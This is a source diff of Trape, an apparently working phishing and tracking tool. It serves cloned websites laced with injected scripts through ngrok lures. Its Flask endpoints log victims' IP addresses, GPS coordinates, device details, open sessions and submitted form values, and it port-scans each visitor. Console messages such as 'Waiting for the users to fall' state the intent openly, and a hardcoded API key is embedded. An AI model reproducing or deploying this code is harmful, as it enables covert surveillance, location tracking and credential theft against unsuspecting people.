str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') - ngrokUrlPos = ngrokStatus.find('ngrok.io') - if ngrokUrlPos >= 0: - ngrokStatus = ngrokStatus[ngrokUrlPos-25:ngrokUrlPos+28] - ngrokUrlPos = ngrokStatus.find('http') - ngrokUrlPos2 = ngrokStatus.find('.io') - ngrokStatus = ngrokStatus[ngrokUrlPos: ngrokUrlPos2] + '.io' - utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text['end']) - utils.Go("\t" + "-------------------") - r = utils.gShortener(self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path) - self.nGrokUrl = ngrokStatus.replace('https', 'http') - utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Public lure: " + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white']) - utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel link: " + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white']) - else: - utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) - except Exception as e: - utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e.message) - utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) - utils.Go("\n" + utils.Color['white']) - utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start) - utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "?" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Do not forget to close " + self.name_trape + ", after use. Press Control C" + " " + utils.Color['white'] + '\n') - utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the users to fall..." + "\n") + # Update verification + changeLog = requests.get("https://raw.githubusercontent.com/jofpin/trape/master/version.txt", timeout=4) + changeLog = changeLog.text.split(" ")[1] + changeLog = changeLog.strip() + if changeLog != self.version: + utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color[ + 'whiteBold'] + " " + "UPDATES:" + " " + utils.Color[ + 'yellowBold'] + "NEW VERSION IS AVAILABLE: " + utils.Color['white'] + "v" + utils.Color[ + 'redBold'] + changeLog + utils.Color['white'] + " " + "(install changes)") + utils.Go("") + else: + utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color[ + 'whiteBold'] + " " + "UPDATES:" + " " + utils.Color[ + 'greenBold'] + "RUNNING RECENT VERSION" + utils.Color['white']) + utils.Go("") - # Important: in the process of use is possible that will ask for the root - def rootConnection(self): - pass + # Local information vars + utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) + utils.Go("\t" + "-------------------") + utils.Go( + utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color[ + 'blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) + utils.Go( + utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color[ + 'blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + + utils.Color['white']) + utils.Go( + utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color[ + 'blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str( + self.app_port) + '/' + self.stats_path) + utils.Go( + utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color[ + 'blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + + utils.Color['blue'] + self.stats_key + utils.Color['white']) + utils.Go("") + if self.ngrok != '': + if self.googl == '': + self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' + try: + opener = urllib.request.build_opener() + pLog = 4040 + time.sleep(2) + ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace( + '\n', '').replace(' ', '') + ngrokUrlPos = ngrokStatus.find('ngrok.io') + if ngrokUrlPos <= 0: + # time.sleep(4) + ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace( + '\n', '').replace(' ', '') + ngrokUrlPos = ngrokStatus.find('ngrok.io') + if ngrokUrlPos >= 0: + ngrokStatus = ngrokStatus[ngrokUrlPos - 25:ngrokUrlPos + 28] + ngrokUrlPos = ngrokStatus.find('http') + ngrokUrlPos2 = ngrokStatus.find('.io') + ngrokStatus = ngrokStatus[ngrokUrlPos: ngrokUrlPos2] + '.io' + utils.Go( + utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text[ + 'end']) + utils.Go("\t" + "-------------------") + r = utils.gShortener(self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path) + self.nGrokUrl = ngrokStatus.replace('https', 'http') + utils.Go( + utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color[ + 'white'] + " Public lure: " + utils.Color[ + 'blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white']) + utils.Go( + utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color[ + 'white'] + " Control Panel link: " + utils.Color['blue'] + ngrokStatus.replace('https', + 'http') + '/' + self.stats_path + + utils.Color['white']) + else: + utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color[ + 'white'] + " We can't connect with nGrok " + utils.Color['white']) + except Exception as e: + utils.Go( + utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e.reason) + utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color[ + 'white'] + " We can't connect with nGrok " + utils.Color['white']) + utils.Go("\n" + utils.Color['white']) + utils.Go( + utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color[ + 'whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start) + utils.Go( + utils.Color['white'] + "[" + utils.Color['greenBold'] + "?" + utils.Color['white'] + "]" + utils.Color[ + 'white'] + " " + "Do not forget to close " + self.name_trape + ", after use. Press Control C" + " " + + utils.Color['white'] + '\n') + utils.Go( + utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color[ + 'white'] + " " + "Waiting for the users to fall..." + "\n") - # Detect operating system, to compose the compatibility - def loadCheck(self): - utils.checkOS() - - # the main file (trape.py) - def main(self): - import core.sockets + # Create config file - # Create config file - def trape_config(self): - utils.Go("\033[H\033[J") - utils.Go("----------------------------------------------------------") - utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Configuration zone to use the software" + " " + "<" + utils.Color['white']) - utils.Go("----------------------------------------------------------") - utils.Go("| v" + utils.Color['redBold'] + self.version + utils.Color['white'] + " |") - utils.Go("--------" + "\n") - utils.Go(utils.Color['whiteBold'] + "GENERAL CONFIG" + utils.Color['white']) - utils.Go("------") - utils.Go("Through this section you will configure the resources required \nfor an effective function of trape, please complete the following steps, below. \nKeep in mind that if the data is incorrect this tool will not work." + utils.Color['white']) - utils.Go("") - utils.Go(utils.Color['whiteBold'] + "NGROK TOKEN" + utils.Color['white']) - utils.Go("------") - utils.Go("In the next section you must enter your Ngrok token, if you do not have \none register at (" + utils.Color['blueBold'] + "https://ngrok.com" + utils.Color['white'] + "), this data is necessary for the generation of public network tunnels.") - utils.Go("") - c_nGrokToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your ngrok token" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) - utils.Go("") - utils.Go(utils.Color['whiteBold'] + "GOOGLE API" + utils.Color['white']) - utils.Go("------") - utils.Go("You must register with the " + utils.Color['blueBold'] + "Google Console" + utils.Color['white'] + ", and get an API for maps and another for shortening. \nBy having these data you complete the settings") - utils.Go("") - c_gMapsToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your Google Maps Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) - c_gOoglToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your Goo.gl (shortener) Api Key (leave it empty if you don't have)" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) - utils.Go("") - utils.Go(utils.Color['whiteBold'] + "IP INFO API" + utils.Color['white']) - utils.Go("------") - utils.Go("You must register with the " + utils.Color['blueBold'] + "https://ipgeolocation.io" + utils.Color['white'] + ", and get an API for geolocation. \nBy having these data you complete the settings") - utils.Go("") - c_ipinfo = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your IP Info Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) - utils.Go("") - utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Congratulations! " + utils.Color['greenBold'] + "Successful configuration" + utils.Color['white'] + ", now enjoy Trape!" + utils.Color['white']) - utils.Go("") - time.sleep(0.4) - if (c_nGrokToken != '' and c_gMapsToken != ''): - v = '{\n\t"ngrok_token" : "' + c_nGrokToken + '",\n\t"gmaps_api_key" : "' + c_gMapsToken + '",\n\t"gshortener_api_key" : "' + c_gOoglToken + '",\n\t"ipinfo_api_key" : "' + c_ipinfo + '"\n}' - f = open ('trape.config', 'w') - f.write(v) - f.close() - else: - self.trape_config() + def injectCSS_Paths(self, code): + code = code.replace("[FAVICON_HREF]", self.CSSFiles[0]['src']) + code = code.replace("[FAVICON_PNG_HREF]", self.CSSFiles[1]['src']) + code = code.replace("[BASE_ICONS_HREF]", self.CSSFiles[2]['src']) + code = code.replace("[STYLES_HREF]", self.CSSFiles[3]['src']) + code = code.replace("[NORMALIZE_HREF]", self.CSSFiles[4]['src']) + code = code.replace("[SERVICES_ICONS_HREF]", self.CSSFiles[5]['src']) + code = code.replace('[OWN_API_KEY_HERE]', self.gmaps) + code = code.replace('[TRAPE_SRC]', self.JSFiles[4]['src']) + code = code.replace('[LIBS_SRC]', self.JSFiles[1]['src']) + return code - def injectCSS_Paths(self, code): - code = code.replace("[FAVICON_HREF]", self.CSSFiles[0]['src']) - code = code.replace("[FAVICON_PNG_HREF]",self.CSSFiles[1]['src']) - code = code.replace("[BASE_ICONS_HREF]", self.CSSFiles[2]['src']) - code = code.replace("[STYLES_HREF]", self.CSSFiles[3]['src']) - code = code.replace("[NORMALIZE_HREF]", self.CSSFiles[4]['src']) - code = code.replace("[SERVICES_ICONS_HREF]", self.CSSFiles[5]['src']) - return code -# Autocompletion of console -if "nt" in os.name: - pass -else: - import readline - readline.parse_and_bind("tab:complete") - readline.set_completer(utils.niceShell) diff --git a/core/user.py b/core/user.py old mode 100755 new mode 100644 index 9bca819..2631891 --- a/core/user.py +++ b/core/user.py @@ -1,6 +1,6 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- -#** +# ** # ######### # trape # @@ -10,224 +10,221 @@ # For full copyright information this visit: https://github.com/jofpin/trape # # Copyright 2018 by Jose Pino (@jofpin) / -#** +# ** import time -from core.dependence import urllib2 -from flask import Flask, render_template, session, request, json, Response +from flask import render_template, request, json from core.user_objects import * -import core.stats from core.utils import utils -from core.db import Database -import os -import sys -import platform import urllib import requests from multiprocessing import Process -""" -from bs4 import BeautifulSoup -from urlparse import urlparse -import lxml -""" - -# Main parts, to generate relationships among others -trape = core.stats.trape -app = core.stats.app - -# call database -db = Database() - -class victim_server(object): - @app.route("/" + trape.victim_path) - def homeVictim(): - """ - clone_html = opener.open(trape.url_to_clone).read() - soup = BeautifulSoup(clone_html, 'lxml') - parsed_uri = urlparse(trape.url_to_clone) - domain = '{uri.scheme}://{uri.netloc}/'.format(uri=parsed_uri) - for s in soup.find_all('script'): - url = s.get('src') - if url is not None: - if url.startswith('/'): - clone_html = clone_html.replace(url, domain + url) - for css in soup.find_all('link'): - url = css.get('href') - if url is not None: - if url.startswith('/'): - clone_html = clone_html.replace(url, domain + url) - - for img in soup.find_all('img'): - url = img.get('src') - if url is not None: - if url.startswith('/'): - clone_html = clone_html.replace(url, domain + url) - """ - r = requests.get(trape.url_to_clone, headers=victim_headers2(request.user_agent)) - if (trape.type_lure == 'local'): - html = assignScripts(victim_inject_code(render_template("/" + trape.url_to_clone), 'payload', '/', trape.gmaps, trape.ipinfo)) - else: - html = assignScripts(victim_inject_code(r.content, 'payload', trape.url_to_clone, trape.gmaps, trape.ipinfo)) - return html - - @app.route("/register", methods=["POST"]) - def register(): - vId = request.form['vId'] - if vId == '': - vId = utils.generateToken(5) - - victimConnect = victim(vId, request.environ['REMOTE_ADDR'], request.user_agent.platform, request.user_agent.browser, request.user_agent.version, utils.portScanner(request.environ['REMOTE_ADDR']), request.form['cpu'], time.strftime("%Y-%m-%d - %H:%M:%S")) - victimGeo = victim_geo(vId, request.form['city'], request.form['country_code2'], request.form['country_name'], request.form['ip'], request.form['latitude'], request.form['longitude'], request.form['isp'], request.form['country_code3'], request.form['state_prov'], '', request.form['zipcode'], request.form['organization'], str(request.user_agent), '') - - vRA = request.environ['REMOTE_ADDR'] - - gHA = Process(target=getHostsAlive, args=(vRA, vId,)) - gHA.start() - - utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " A " + utils.Color['whiteBold'] + "user" + utils.Color['white'] + " has been connected from " + utils.Color['blue'] + victimGeo.ip + utils.Color['white'] + ' with the following identifier: ' + utils.Color['green'] + vId + utils.Color['white']) - cant = int(db.sentences_victim('count_times', vId, 3, 0)) - - db.sentences_victim('insert_click', [vId, trape.url_to_clone, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) - db.sentences_victim('delete_networks', [vId], 2) - - if cant > 0: - utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the " + str(cant + 1) + " time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) - db.sentences_victim('update_victim', [victimConnect, vId, time.time()], 2) - db.sentences_victim('update_victim_geo', [victimGeo, vId], 2) - else: - utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the first time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) - db.sentences_victim('insert_victim', [victimConnect, vId, time.time()], 2) - db.sentences_victim('insert_victim_data', [vId], 2) - db.sentences_victim('insert_victim_battery', [vId], 2) - db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2) - return json.dumps({'status' : 'OK', 'vId' : vId}) - - @app.route("/nr", methods=["POST"]) - def networkRegister(): - vId = request.form['vId'] - vIp = request.form['ip'] - vnetwork = request.form['red'] - if vId == '': - vId = utils.generateToken(5) - - cant = int(db.sentences_victim('count_victim_network', [vId, vnetwork], 3, 0)) - - if cant > 0: - db.sentences_victim('update_network', [vId, vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) - else: - db.sentences_victim('insert_networks', [vId, vIp, request.environ['REMOTE_ADDR'], vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) - utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "+" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + vnetwork + utils.Color['white'] + " session detected from " + utils.Color['blue'] + vIp + utils.Color['white'] + ' ' + "with ID: " + utils.Color['green'] + vId + utils.Color['white']) - return json.dumps({'status' : 'OK', 'vId' : vId}) - - @app.route("/lr", methods=["POST"]) - def locationRegister(): - vId = request.form['vId'] - lat = request.form['lat'] - lon = request.form['lon'] - - db.sentences_victim('location_victim', [vId, lat, lon], 2) - return json.dumps({'status' : 'OK', 'vId' : vId}) - - @app.route("/lc", methods=["POST"]) - def connectionRegister(): - vId = request.form['vId'] - con = request.form['con'] - host = request.form['host'] - - db.sentences_victim('connection_victim', [vId, con, host], 2) - return json.dumps({'status' : 'OK', 'vId' : vId}) - - @app.route("/bs", methods=["POST"]) - def batteryStatusRegister(): - vId = request.form['id'] - b_data = request.form['d'] - b_type = request.form['t'] - - db.sentences_victim('update_battery', [vId, b_data, b_type], 2) - return json.dumps({'status' : 'OK', 'vId' : vId}) - - @app.route("/nm", methods=["POST"]) - def navigationMode(): - vId = request.form['id'] - b_data = request.form['d'] - b_data_2 = request.form['dn'] - - db.sentences_victim('update_navigationmode', [vId, b_data, b_data_2], 2) - return json.dumps({'status' : 'OK', 'vId' : vId}) - - @app.route("/rv") - def redirectVictim(): - url = request.args.get('url') - if url[0:4] != 'http': - url = 'http://' + url - opener = urllib.request.build_opener() - headers = victim_headers(request.user_agent) - opener.addheaders = headers - html = assignScripts(victim_inject_code(opener.open(url).read(), 'vscript', url, trape.gmaps, trape.ipinfo)) - return html - - @app.route("/regv", methods=["POST"]) - def registerRequest(): - vrequest = victim_request(request.form['vId'], request.form['site'], request.form['fid'], request.form['name'], request.form['value'], request.form['sId']) - db.sentences_victim('insert_requests', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) - utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "=" + utils.Color['white'] + "]" + " " + 'Receiving data from: ' + utils.Color['green'] + vrequest.id + utils.Color['white'] + ' ' + 'on' + ' ' + utils.Color['blue'] + vrequest.site + utils.Color['white'] + '\t\n' + vrequest.fid + '\t' + vrequest.name + ':\t' + vrequest.value) - return json.dumps({'status' : 'OK', 'vId' : vrequest.id}) - - @app.route("/tping", methods=["POST"]) - def receivePiregisterGPUng(): - vrequest = request.form['id'] - db.sentences_victim('report_online', [vrequest], 2) - db.sentences_victim('update_lastping', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) - return json.dumps({'status' : 'OK', 'vId' : vrequest}) - - @app.route("/cIp", methods=["POST"]) - def changeLocalIp(): - vrequest = request.form['id'] - vIp = request.form['ip'] - db.sentences_victim('update_localIp', [vrequest, vIp], 2) - return json.dumps({'status' : 'OK', 'vId' : vrequest}) - - @app.route("/gGpu", methods=["POST"]) - def setGpuInfo(): - vId = request.form['vId'] - vData = request.form['data'] - db.sentences_victim('update_gpu', [vId, vData], 2) - return json.dumps({'status' : 'OK', 'vId' : vId}) - +from core import db, app, trape + +def assignScripts(code): + code = code.replace("base.js".encode(), trape.JSFiles[0]['src'].encode()) + code = code.replace("libs.min.js".encode(), trape.JSFiles[1]['src'].encode()) + code = code.replace("login.js".encode(), trape.JSFiles[2]['src'].encode()) + code = code.replace("payload.js".encode(), trape.JSFiles[3]['src'].encode()) + code = code.replace("trape.js".encode(), trape.JSFiles[4]['src'].encode()) + code = code.replace("vscript.js".encode(), trape.JSFiles[5]['src'].encode()) + code = code.replace("custom.js".encode(), trape.JSFiles[6]['src'].encode()) + return code + +@app.route("/" + trape.victim_path) +def homeVictim(): + r = requests.get(trape.url_to_clone, headers=victim_headers2(request.user_agent)) + if (trape.type_lure == 'local'): + html = assignScripts( + victim_inject_code(render_template("/" + trape.url_to_clone), 'payload', '/', trape.gmaps, trape.ipinfo)) + else: + html = assignScripts(victim_inject_code(r.content, 'payload', trape.url_to_clone, trape.gmaps, trape.ipinfo)) + return html + + +@app.route("/register", methods=["POST"]) +def register(): + + vId = request.form['vId'] + + if vId == '': + vId = utils.generateToken(5) + + victimConnect = victim(vId, request.environ['REMOTE_ADDR'], request.user_agent.platform, request.user_agent.browser, + request.user_agent.version, utils.portScanner(request.environ['REMOTE_ADDR']), + request.form['cpu'], time.strftime("%Y-%m-%d - %H:%M:%S")) + victimGeo = victim_geo(vId, request.form['city'], request.form['country_code2'], request.form['country_name'], + request.form['ip'], request.form['latitude'], request.form['longitude'], request.form['isp'], + request.form['country_code3'], request.form['state_prov'], '', request.form['zipcode'], + request.form['organization'], str(request.user_agent), '') + + utils.Go( + utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " A " + utils.Color[ + 'whiteBold'] + "user" + utils.Color['white'] + " has been connected from " + utils.Color[ + 'blue'] + victimGeo.ip + utils.Color['white'] + ' with the following identifier: ' + utils.Color[ + 'green'] + vId + utils.Color['white']) + + vRA = request.environ['REMOTE_ADDR'] + + gHA = Process(target=getHostsAlive, args=(vRA, vId)) + gHA.start() + + + cant = int(db.sentences_victim('count_times', vId, 3, 0)) + + db.sentences_victim('insert_click', [vId, trape.url_to_clone, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) + db.sentences_victim('delete_networks', [vId], 2) + + if cant > 0: + utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color[ + 'white'] + "]" + " " + "It\'s the " + str(cant + 1) + " time for " + utils.Color['green'] + str(vId) + + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) + db.sentences_victim('update_victim', [victimConnect, vId, time.time()], 2) + db.sentences_victim('update_victim_geo', [victimGeo, vId], 2) + else: + utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color[ + 'white'] + "]" + " " + "It\'s the first time for " + utils.Color['green'] + str(vId) + utils.Color[ + 'white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) + db.sentences_victim('insert_victim', [victimConnect, vId, time.time()], 2) + db.sentences_victim('insert_victim_data', [vId], 2) + db.sentences_victim('insert_victim_battery', [vId], 2) + db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2) + return json.dumps({'status': 'OK', 'vId': vId}) + + +@app.route("/nr", methods=["POST"]) +def networkRegister(): + vId = request.form['vId'] + vIp = request.form['ip'] + vnetwork = request.form['red'] + if vId == '': + vId = utils.generateToken(5) + + cant = int(db.sentences_victim('count_victim_network', [vId, vnetwork], 3, 0)) + + if cant > 0: + db.sentences_victim('update_network', [vId, vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) + else: + db.sentences_victim('insert_networks', + [vId, vIp, request.environ['REMOTE_ADDR'], vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], + 2) + utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "+" + utils.Color['white'] + "]" + utils.Color[ + 'whiteBold'] + " " + vnetwork + utils.Color['white'] + " session detected from " + utils.Color[ + 'blue'] + vIp + utils.Color['white'] + ' ' + "with ID: " + utils.Color['green'] + vId + + utils.Color['white']) + return json.dumps({'status': 'OK', 'vId': vId}) + + +@app.route("/lr", methods=["POST"]) +def locationRegister(): + vId = request.form['vId'] + lat = request.form['lat'] + lon = request.form['lon'] + + db.sentences_victim('location_victim', [vId, lat, lon], 2) + return json.dumps({'status': 'OK', 'vId': vId}) + + +@app.route("/lc", methods=["POST"]) +def connectionRegister(): + vId = request.form['vId'] + con = request.form['con'] + host = request.form['host'] + + db.sentences_victim('connection_victim', [vId, con, host], 2) + return json.dumps({'status': 'OK', 'vId': vId}) + + +@app.route("/bs", methods=["POST"]) +def batteryStatusRegister(): + vId = request.form['id'] + b_data = request.form['d'] + b_type = request.form['t'] + + db.sentences_victim('update_battery', [vId, b_data, b_type], 2) + return json.dumps({'status': 'OK', 'vId': vId}) + + +@app.route("/nm", methods=["POST"]) +def navigationMode(): + vId = request.form['id'] + b_data = request.form['d'] + b_data_2 = request.form['dn'] + + db.sentences_victim('update_navigationmode', [vId, b_data, b_data_2], 2) + return json.dumps({'status': 'OK', 'vId': vId}) + + +@app.route("/rv") +def redirectVictim(): + url = request.args.get('url') + if url[0:4] != 'http': + url = 'http://' + url + opener = urllib.request.build_opener() + headers = victim_headers(request.user_agent) + opener.addheaders = headers + html = assignScripts(victim_inject_code(opener.open(url).read(), 'vscript', url, trape.gmaps, trape.ipinfo)) + return html + + +@app.route("/regv", methods=["POST"]) +def registerRequest(): + vrequest = victim_request(request.form['vId'], request.form['site'], request.form['fid'], request.form['name'], + request.form['value'], request.form['sId']) + db.sentences_victim('insert_requests', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) + utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "=" + utils.Color[ + 'white'] + "]" + " " + 'Receiving data from: ' + utils.Color['green'] + vrequest.id + utils.Color[ + 'white'] + ' ' + 'on' + ' ' + utils.Color['blue'] + vrequest.site + utils.Color[ + 'white'] + '\t\n' + vrequest.fid + '\t' + vrequest.name + ':\t' + vrequest.value) + return json.dumps({'status': 'OK', 'vId': vrequest.id}) + + +@app.route("/tping", methods=["POST"]) +def receivePiregisterGPUng(): + vrequest = request.form['id'] + db.sentences_victim('report_online', [vrequest], 2) + db.sentences_victim('update_lastping', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) + return json.dumps({'status': 'OK', 'vId': vrequest}) + + +@app.route("/cIp", methods=["POST"]) +def changeLocalIp(): + vrequest = request.form['id'] + vIp = request.form['ip'] + db.sentences_victim('update_localIp', [vrequest, vIp], 2) + return json.dumps({'status': 'OK', 'vId': vrequest}) + + +@app.route("/gGpu", methods=["POST"]) +def setGpuInfo(): + vId = request.form['vId'] + vData = request.form['data'] + db.sentences_victim('update_gpu', [vId, vData], 2) + return json.dumps({'status': 'OK', 'vId': vId}) + def getHostsAlive(ip, vId): - hDB = Database() try: - hDB.sentences_victim('delete_hostalive', vId, 2) + db.sentences_victim('delete_hostalive', vId, 2) split_ip = ip.split('.') net = split_ip[0] + '.' + split_ip[1] + '.' + split_ip[2] + '.' if ip != '127.0.0.1': - if (platform.system()=='Windows'): - ping = 'ping -n 1 -w 5' - else: - ping = 'ping -c 1 -t 3' - for sub_net in range(1, 255): - address = net + str(sub_net) - response = os.popen(ping + ' ' + address) - for line in response.readlines(): - if ('time=' in line.lower()): - lPos = line.find('time=') - tmpLine = line[lPos+5:lPos+15] - lPos = tmpLine.find('ms') - tmpLine = tmpLine[0:lPos+2] - - hDB.sentences_victim('register_hostalive', [vId, address, tmpLine, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) - break + ping = 'ping -c 1 -t 3' + # for sub_net in range(1, 256): + # address = net + str(sub_net) + # response = os.popen(ping + ' ' + address) + # for line in response.readlines(): + # if ('time=' in line.lower()): + # lPos = line.find('time=') + # tmpLine = line[lPos + 5:lPos + 15] + # lPos = tmpLine.find('ms') + # tmpLine = tmpLine[0:lPos + 2] + + # db.sentences_victim('register_hostalive', + # [vId, address, tmpLine, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) + # break + pass else: - hDB.sentences_victim('register_hostalive', [vId, 'OWN HOST', 0, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) + db.sentences_victim('register_hostalive', [vId, 'OWN HOST', 0, time.strftime("%Y-%m-%d - %H:%M:%S")], + 2) except ValueError: pass - -def assignScripts(code): - code = code.replace("base.js".encode(), trape.JSFiles[0]['src'].encode()) - code = code.replace("libs.min.js".encode(),trape.JSFiles[1]['src'].encode()) - code = code.replace("login.js".encode(), trape.JSFiles[2]['src'].encode()) - code = code.replace("payload.js".encode(), trape.JSFiles[3]['src'].encode()) - code = code.replace("trape.js".encode(), trape.JSFiles[4]['src'].encode()) - code = code.replace("vscript.js".encode(), trape.JSFiles[5]['src'].encode()) - code = code.replace("custom.js".encode(), trape.JSFiles[6]['src'].encode()) - return code \ No newline at end of file diff --git a/core/user_objects.py b/core/user_objects.py old mode 100755 new mode 100644 index bd46caa..ddabf82 --- a/core/user_objects.py +++ b/core/user_objects.py @@ -24,7 +24,8 @@ def __init__(self, vId, ip, device, browser, version, ports, cpu, date): class victim_geo(object): - def __init__(self, id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer): + def __init__(self, id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, + region_name, time_zone, zip_code, isp, ua, refer): self.id = id self.city = city self.country_code = country_code @@ -56,7 +57,8 @@ def victim_headers2(ua): return { "User-Agent": str(ua), "Content-Type": "text/html; charset=utf-8", - "Accept": "text/html, application/xml;q=0.9, application/xhtml+xml, 